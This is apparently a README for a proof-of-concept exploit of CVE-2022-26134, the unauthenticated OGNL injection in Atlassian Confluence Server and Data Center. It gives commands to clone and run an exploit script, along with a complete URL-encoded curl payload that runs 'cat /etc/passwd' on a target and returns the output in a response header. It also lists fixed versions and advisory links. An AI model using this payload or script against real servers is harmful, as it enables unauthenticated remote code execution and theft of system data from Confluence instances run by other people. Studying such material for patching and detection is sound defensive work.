[PoC] Atlassian Confluence (CVE-2022-26134) - Unauthenticated OGNL injection vulnerability (RCE)### CVE-2022-26134 - OGNL injection vulnerability.
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.
### PoC:
```bash
git clone https://github.com/kh4sh3i/CVE-2022-26134
cd CVE-2022-26134
python3 cve-2022-26134.py https://target.com CMD
```
Example with CURL command:
```bash
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
```
Then, the result of the command will be reflected in the parameter `X-Cmd-Response` in the response header.
### Fixed Versions
Released versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 contain a fix for this issue.
### Reffrence
* [confluence](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
* [jira](https://jira.atlassian.com/browse/CONFSERVER-79016)
[4.0K] /data/pocs/e6a56b485af8b28a0f68b190b08791e45bd5ff49
├── [1.9K] cve-2022-26134.py
├── [6.9K] LICENSE
└── [1.2K] README.md
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